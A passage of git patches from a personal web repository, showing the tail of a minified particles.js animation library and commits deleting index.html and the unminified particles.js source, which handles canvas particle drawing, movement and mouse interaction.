s={x_left:-a.radius,x_right:i.canvas.w+a.radius,y_top:-a.radius,y_bottom:i.canvas.h+a.radius};switch(a.x-a.radius>i.canvas.w?(a.x=s.x_left,a.y=Math.random()*i.canvas.h):a.x+a.radius<0&&(a.x=s.x_right,a.y=Math.random()*i.canvas.h),a.y-a.radius>i.canvas.h?(a.y=s.y_top,a.x=Math.random()*i.canvas.w):a.y+a.radius<0&&(a.y=s.y_bottom,a.x=Math.random()*i.canvas.w),i.particles.move.out_mode){case"bounce":a.x+a.radius>i.canvas.w?a.vx=-a.vx:a.x-a.radius<0&&(a.vx=-a.vx),a.y+a.radius>i.canvas.h?a.vy=-a.vy:a.y-a.radius<0&&(a.vy=-a.vy)}if(isInArray("grab",i.interactivity.events.onhover.mode)&&i.fn.modes.grabParticle(a),(isInArray("bubble",i.interactivity.events.onhover.mode)||isInArray("bubble",i.interactivity.events.onclick.mode))&&i.fn.modes.bubbleParticle(a),(isInArray("repulse",i.interactivity.events.onhover.mode)||isInArray("repulse",i.interactivity.events.onclick.mode))&&i.fn.modes.repulseParticle(a),i.particles.line_linked.enable||i.particles.move.attract.enable)for(var n=e+1;n0){var c=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+c.r+","+c.g+","+c.b+","+r+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(a.x,a.y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}},i.fn.interact.attractParticles=function(e,a){var t=e.x-a.x,s=e.y-a.y,n=Math.sqrt(t*t+s*s);if(n<=i.particles.line_linked.distance){var r=t/(1e3*i.particles.move.attract.rotateX),c=s/(1e3*i.particles.move.attract.rotateY);e.vx-=r,e.vy-=c,a.vx+=r,a.vy+=c}},i.fn.interact.bounceParticles=function(e,a){var t=e.x-a.x,i=e.y-a.y,s=Math.sqrt(t*t+i*i),n=e.radius+a.radius;n>=s&&(e.vx=-e.vx,e.vy=-e.vy,a.vx=-a.vx,a.vy=-a.vy)},i.fn.modes.pushParticles=function(e,a){i.tmp.pushing=!0;for(var t=0;e>t;t++)i.particles.array.push(new i.fn.particle(i.particles.color,i.particles.opacity.value,{x:a?a.pos_x:Math.random()*i.canvas.w,y:a?a.pos_y:Math.random()*i.canvas.h})),t==e-1&&(i.particles.move.enable||i.fn.particlesDraw(),i.tmp.pushing=!1)},i.fn.modes.removeParticles=function(e){i.particles.array.splice(0,e),i.particles.move.enable||i.fn.particlesDraw()},i.fn.modes.bubbleParticle=function(e){function a(){e.opacity_bubble=e.opacity,e.radius_bubble=e.radius}function t(a,t,s,n,c){if(a!=t)if(i.tmp.bubble_duration_end){if(void 0!=s){var o=n-p*(n-a)/i.interactivity.modes.bubble.duration,l=a-o;d=a+l,"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius0&&v.y+e.radius=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;tv;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()}; \ No newline at end of file From 3e4d46029c079f0698c99ac8de7ac9731cd1d55e Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:16:52 +0200 Subject: [PATCH 0711/1701] Delete index.html --- index.html | 42 ------------------------------------------ 1 file changed, 42 deletions(-) delete mode 100644 index.html diff --git a/index.html b/index.html deleted file mode 100644 index 488bf623f06..00000000000 --- a/index.html +++ /dev/null @@ -1,42 +0,0 @@ - - - - - - - F1r0x - - - - - - - -
-
- - -
-
-

- -
F1r0x
-

- -
-
-
- - - - - - - - - - - - From 7af9bbf6c144fa73026548efb51cedd87a05cb95 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Wed, 1 Jun 2022 00:17:40 +0200 Subject: [PATCH 0712/1701] Delete particles.js --- particles.js | 1541 -------------------------------------------------- 1 file changed, 1541 deletions(-) delete mode 100644 particles.js diff --git a/particles.js b/particles.js deleted file mode 100644 index 325d8349960..00000000000 --- a/particles.js +++ /dev/null @@ -1,1541 +0,0 @@ -/* ----------------------------------------------- -/* Author : Vincent Garreau - vincentgarreau.com -/* MIT license: http://opensource.org/licenses/MIT -/* Demo / Generator : vincentgarreau.com/particles.js -/* GitHub : github.com/VincentGarreau/particles.js -/* How to use? : Check the GitHub README -/* v2.0.0 -/* ----------------------------------------------- */ - -var pJS = function(tag_id, params){ - - var canvas_el = document.querySelector('#'+tag_id+' > .particles-js-canvas-el'); - - /* particles.js variables with default values */ - this.pJS = { - canvas: { - el: canvas_el, - w: canvas_el.offsetWidth, - h: canvas_el.offsetHeight - }, - particles: { - number: { - value: 400, - density: { - enable: true, - value_area: 800 - } - }, - color: { - value: '#fff' - }, - shape: { - type: 'circle', - stroke: { - width: 0, - color: '#ff0000' - }, - polygon: { - nb_sides: 5 - }, - image: { - src: '', - width: 100, - height: 100 - } - }, - opacity: { - value: 1, - random: false, - anim: { - enable: false, - speed: 2, - opacity_min: 0, - sync: false - } - }, - size: { - value: 20, - random: false, - anim: { - enable: false, - speed: 20, - size_min: 0, - sync: false - } - }, - line_linked: { - enable: true, - distance: 100, - color: '#fff', - opacity: 1, - width: 1 - }, - move: { - enable: true, - speed: 2, - direction: 'none', - random: false, - straight: false, - out_mode: 'out', - bounce: false, - attract: { - enable: false, - rotateX: 3000, - rotateY: 3000 - } - }, - array: [] - }, - interactivity: { - detect_on: 'canvas', - events: { - onhover: { - enable: true, - mode: 'grab' - }, - onclick: { - enable: true, - mode: 'push' - }, - resize: true - }, - modes: { - grab:{ - distance: 100, - line_linked:{ - opacity: 1 - } - }, - bubble:{ - distance: 200, - size: 80, - duration: 0.4 - }, - repulse:{ - distance: 200, - duration: 0.4 - }, - push:{ - particles_nb: 4 - }, - remove:{ - particles_nb: 2 - } - }, - mouse:{} - }, - retina_detect: false, - fn: { - interact: {}, - modes: {}, - vendors:{} - }, - tmp: {} - }; - - var pJS = this.pJS; - - /* params settings */ - if(params){ - Object.deepExtend(pJS, params); - } - - pJS.tmp.obj = { - size_value: pJS.particles.size.value, - size_anim_speed: pJS.particles.size.anim.speed, - move_speed: pJS.particles.move.speed, - line_linked_distance: pJS.particles.line_linked.distance, - line_linked_width: pJS.particles.line_linked.width, - mode_grab_distance: pJS.interactivity.modes.grab.distance, - mode_bubble_distance: pJS.interactivity.modes.bubble.distance, - mode_bubble_size: pJS.interactivity.modes.bubble.size, - mode_repulse_distance: pJS.interactivity.modes.repulse.distance - }; - - - pJS.fn.retinaInit = function(){ - - if(pJS.retina_detect && window.devicePixelRatio > 1){ - pJS.canvas.pxratio = window.devicePixelRatio; - pJS.tmp.retina = true; - } - else{ - pJS.canvas.pxratio = 1; - pJS.tmp.retina = false; - } - - pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio; - pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio; - - pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio; - pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio; - pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio; - pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio; - pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio; - pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio; - pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio; - pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio; - pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio; - - }; - - - - /* ---------- pJS functions - canvas ------------ */ - - pJS.fn.canvasInit = function(){ - pJS.canvas.ctx = pJS.canvas.el.getContext('2d'); - }; - - pJS.fn.canvasSize = function(){ - - pJS.canvas.el.width = pJS.canvas.w; - pJS.canvas.el.height = pJS.canvas.h; - - if(pJS && pJS.interactivity.events.resize){ - - window.addEventListener('resize', function(){ - - pJS.canvas.w = pJS.canvas.el.offsetWidth; - pJS.canvas.h = pJS.canvas.el.offsetHeight; - - /* resize canvas */ - if(pJS.tmp.retina){ - pJS.canvas.w *= pJS.canvas.pxratio; - pJS.canvas.h *= pJS.canvas.pxratio; - } - - pJS.canvas.el.width = pJS.canvas.w; - pJS.canvas.el.height = pJS.canvas.h; - - /* repaint canvas on anim disabled */ - if(!pJS.particles.move.enable){ - pJS.fn.particlesEmpty(); - pJS.fn.particlesCreate(); - pJS.fn.particlesDraw(); - pJS.fn.vendors.densityAutoParticles(); - } - - /* density particles enabled */ - pJS.fn.vendors.densityAutoParticles(); - - }); - - } - - }; - - - pJS.fn.canvasPaint = function(){ - pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h); - }; - - pJS.fn.canvasClear = function(){ - pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h); - }; - - - /* --------- pJS functions - particles ----------- */ - - pJS.fn.particle = function(color, opacity, position){ - - /* size */ - this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value; - if(pJS.particles.size.anim.enable){ - this.size_status = false; - this.vs = pJS.particles.size.anim.speed / 100; - if(!pJS.particles.size.anim.sync){ - this.vs = this.vs * Math.random(); - } - } - - /* position */ - this.x = position ? position.x : Math.random() * pJS.canvas.w; - this.y = position ? position.y : Math.random() * pJS.canvas.h; - - /* check position - into the canvas */ - if(this.x > pJS.canvas.w - this.radius*2) this.x = this.x - this.radius; - else if(this.x < this.radius*2) this.x = this.x + this.radius; - if(this.y > pJS.canvas.h - this.radius*2) this.y = this.y - this.radius; - else if(this.y < this.radius*2) this.y = this.y + this.radius; - - /* check position - avoid overlap */ - if(pJS.particles.move.bounce){ - pJS.fn.vendors.checkOverlap(this, position); - } - - /* color */ - this.color = {}; - if(typeof(color.value) == 'object'){ - - if(color.value instanceof Array){ - var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)]; - this.color.rgb = hexToRgb(color_selected); - }else{ - if(color.value.r != undefined && color.value.g != undefined && color.value.b != undefined){ - this.color.rgb = { - r: color.value.r, - g: color.value.g, - b: color.value.b - } - } - if(color.value.h != undefined && color.value.s != undefined && color.value.l != undefined){ - this.color.hsl = { - h: color.value.h, - s: color.value.s, - l: color.value.l - } - } - } - - } - else if(color.value == 'random'){ - this.color.rgb = { - r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0), - g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0), - b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0) - } - } - else if(typeof(color.value) == 'string'){ - this.color = color; - this.color.rgb = hexToRgb(this.color.value); - } - - /* opacity */ - this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value; - if(pJS.particles.opacity.anim.enable){ - this.opacity_status = false; - this.vo = pJS.particles.opacity.anim.speed / 100; - if(!pJS.particles.opacity.anim.sync){ - this.vo = this.vo * Math.random(); - } - } - - /* animation - velocity for speed */ - var velbase = {} - switch(pJS.particles.move.direction){ - case 'top': - velbase = { x:0, y:-1 }; - break; - case 'top-right': - velbase = { x:0.5, y:-0.5 }; - break; - case 'right': - velbase = { x:1, y:-0 }; - break; - case 'bottom-right': - velbase = { x:0.5, y:0.5 }; - break; - case 'bottom': - velbase = { x:0, y:1 }; - break; - case 'bottom-left': - velbase = { x:-0.5, y:1 }; - break; - case 'left': - velbase = { x:-1, y:0 }; - break; - case 'top-left': - velbase = { x:-0.5, y:-0.5 }; - break; - default: - velbase = { x:0, y:0 }; - break; - } - - if(pJS.particles.move.straight){ - this.vx = velbase.x; - this.vy = velbase.y; - if(pJS.particles.move.random){ - this.vx = this.vx * (Math.random()); - this.vy = this.vy * (Math.random()); - } - }else{ - this.vx = velbase.x + Math.random()-0.5; - this.vy = velbase.y + Math.random()-0.5; - } - - // var theta = 2.0 * Math.PI * Math.random(); - // this.vx = Math.cos(theta); - // this.vy = Math.sin(theta); - - this.vx_i = this.vx; - this.vy_i = this.vy; - - - - /* if shape is image */ - - var shape_type = pJS.particles.shape.type; - if(typeof(shape_type) == 'object'){ - if(shape_type instanceof Array){ - var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)]; - this.shape = shape_selected; - } - }else{ - this.shape = shape_type; - } - - if(this.shape == 'image'){ - var sh = pJS.particles.shape; - this.img = { - src: sh.image.src, - ratio: sh.image.width / sh.image.height - } - if(!this.img.ratio) this.img.ratio = 1; - if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg != undefined){ - pJS.fn.vendors.createSvgImg(this); - if(pJS.tmp.pushing){ - this.img.loaded = false; - } - } - } - - - - }; - - - pJS.fn.particle.prototype.draw = function() { - - var p = this; - - if(p.radius_bubble != undefined){ - var radius = p.radius_bubble; - }else{ - var radius = p.radius; - } - - if(p.opacity_bubble != undefined){ - var opacity = p.opacity_bubble; - }else{ - var opacity = p.opacity; - } - - if(p.color.rgb){ - var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+opacity+')'; - }else{ - var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+opacity+')'; - } - - pJS.canvas.ctx.fillStyle = color_value; - pJS.canvas.ctx.beginPath(); - - switch(p.shape){ - - case 'circle': - pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, false); - break; - - case 'edge': - pJS.canvas.ctx.rect(p.x-radius, p.y-radius, radius*2, radius*2); - break; - - case 'triangle': - pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x-radius, p.y+radius / 1.66, radius*2, 3, 2); - break; - - case 'polygon': - pJS.fn.vendors.drawShape( - pJS.canvas.ctx, - p.x - radius / (pJS.particles.shape.polygon.nb_sides/3.5), // startX - p.y - radius / (2.66/3.5), // startY - radius*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength - pJS.particles.shape.polygon.nb_sides, // sideCountNumerator - 1 // sideCountDenominator - ); - break; - - case 'star': - pJS.fn.vendors.drawShape( - pJS.canvas.ctx, - p.x - radius*2 / (pJS.particles.shape.polygon.nb_sides/4), // startX - p.y - radius / (2*2.66/3.5), // startY - radius*2*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength - pJS.particles.shape.polygon.nb_sides, // sideCountNumerator - 2 // sideCountDenominator - ); - break; - - case 'image': - - function draw(){ - pJS.canvas.ctx.drawImage( - img_obj, - p.x-radius, - p.y-radius, - radius*2, - radius*2 / p.img.ratio - ); - } - - if(pJS.tmp.img_type == 'svg'){ - var img_obj = p.img.obj; - }else{ - var img_obj = pJS.tmp.img_obj; - } - - if(img_obj){ - draw(); - } - - break; - - } - - pJS.canvas.ctx.closePath(); - - if(pJS.particles.shape.stroke.width > 0){ - pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color; - pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width; - pJS.canvas.ctx.stroke(); - } - - pJS.canvas.ctx.fill(); - - }; - - - pJS.fn.particlesCreate = function(){ - for(var i = 0; i < pJS.particles.number.value; i++) { - pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value)); - } - }; - - pJS.fn.particlesUpdate = function(){ - - for(var i = 0; i < pJS.particles.array.length; i++){ - - /* the particle */ - var p = pJS.particles.array[i]; - - // var d = ( dx = pJS.interactivity.mouse.click_pos_x - p.x ) * dx + ( dy = pJS.interactivity.mouse.click_pos_y - p.y ) * dy; - // var f = -BANG_SIZE / d; - // if ( d < BANG_SIZE ) { - // var t = Math.atan2( dy, dx ); - // p.vx = f * Math.cos(t); - // p.vy = f * Math.sin(t); - // } - - /* move the particle */ - if(pJS.particles.move.enable){ - var ms = pJS.particles.move.speed/2; - p.x += p.vx * ms; - p.y += p.vy * ms; - } - - /* change opacity status */ - if(pJS.particles.opacity.anim.enable) { - if(p.opacity_status == true) { - if(p.opacity >= pJS.particles.opacity.value) p.opacity_status = false; - p.opacity += p.vo; - }else { - if(p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = true; - p.opacity -= p.vo; - } - if(p.opacity < 0) p.opacity = 0; - } - - /* change size */ - if(pJS.particles.size.anim.enable){ - if(p.size_status == true){ - if(p.radius >= pJS.particles.size.value) p.size_status = false; - p.radius += p.vs; - }else{ - if(p.radius <= pJS.particles.size.anim.size_min) p.size_status = true; - p.radius -= p.vs; - } - if(p.radius < 0) p.radius = 0; - } - - /* change particle position if it is out of canvas */ - if(pJS.particles.move.out_mode == 'bounce'){ - var new_pos = { - x_left: p.radius, - x_right: pJS.canvas.w, - y_top: p.radius, - y_bottom: pJS.canvas.h - } - }else{ - var new_pos = { - x_left: -p.radius, - x_right: pJS.canvas.w + p.radius, - y_top: -p.radius, - y_bottom: pJS.canvas.h + p.radius - } - } - - if(p.x - p.radius > pJS.canvas.w){ - p.x = new_pos.x_left; - p.y = Math.random() * pJS.canvas.h; - } - else if(p.x + p.radius < 0){ - p.x = new_pos.x_right; - p.y = Math.random() * pJS.canvas.h; - } - if(p.y - p.radius > pJS.canvas.h){ - p.y = new_pos.y_top; - p.x = Math.random() * pJS.canvas.w; - } - else if(p.y + p.radius < 0){ - p.y = new_pos.y_bottom; - p.x = Math.random() * pJS.canvas.w; - } - - /* out of canvas modes */ - switch(pJS.particles.move.out_mode){ - case 'bounce': - if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx; - else if (p.x - p.radius < 0) p.vx = -p.vx; - if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy; - else if (p.y - p.radius < 0) p.vy = -p.vy; - break; - } - - /* events */ - if(isInArray('grab', pJS.interactivity.events.onhover.mode)){ - pJS.fn.modes.grabParticle(p); - } - - if(isInArray('bubble', pJS.interactivity.events.onhover.mode) || isInArray('bubble', pJS.interactivity.events.onclick.mode)){ - pJS.fn.modes.bubbleParticle(p); - } - - if(isInArray('repulse', pJS.interactivity.events.onhover.mode) || isInArray('repulse', pJS.interactivity.events.onclick.mode)){ - pJS.fn.modes.repulseParticle(p); - } - - /* interaction auto between particles */ - if(pJS.particles.line_linked.enable || pJS.particles.move.attract.enable){ - for(var j = i + 1; j < pJS.particles.array.length; j++){ - var p2 = pJS.particles.array[j]; - - /* link particles */ - if(pJS.particles.line_linked.enable){ - pJS.fn.interact.linkParticles(p,p2); - } - - /* attract particles */ - if(pJS.particles.move.attract.enable){ - pJS.fn.interact.attractParticles(p,p2); - } - - /* bounce particles */ - if(pJS.particles.move.bounce){ - pJS.fn.interact.bounceParticles(p,p2); - } - - } - } - - - } - - }; - - pJS.fn.particlesDraw = function(){ - - /* clear canvas */ - pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h); - - /* update each particles param */ - pJS.fn.particlesUpdate(); - - /* draw each particle */ - for(var i = 0; i < pJS.particles.array.length; i++){ - var p = pJS.particles.array[i]; - p.draw(); - } - - }; - - pJS.fn.particlesEmpty = function(){ - pJS.particles.array = []; - }; - - pJS.fn.particlesRefresh = function(){ - - /* init all */ - cancelRequestAnimFrame(pJS.fn.checkAnimFrame); - cancelRequestAnimFrame(pJS.fn.drawAnimFrame); - pJS.tmp.source_svg = undefined; - pJS.tmp.img_obj = undefined; - pJS.tmp.count_svg = 0; - pJS.fn.particlesEmpty(); - pJS.fn.canvasClear(); - - /* restart */ - pJS.fn.vendors.start(); - - }; - - - 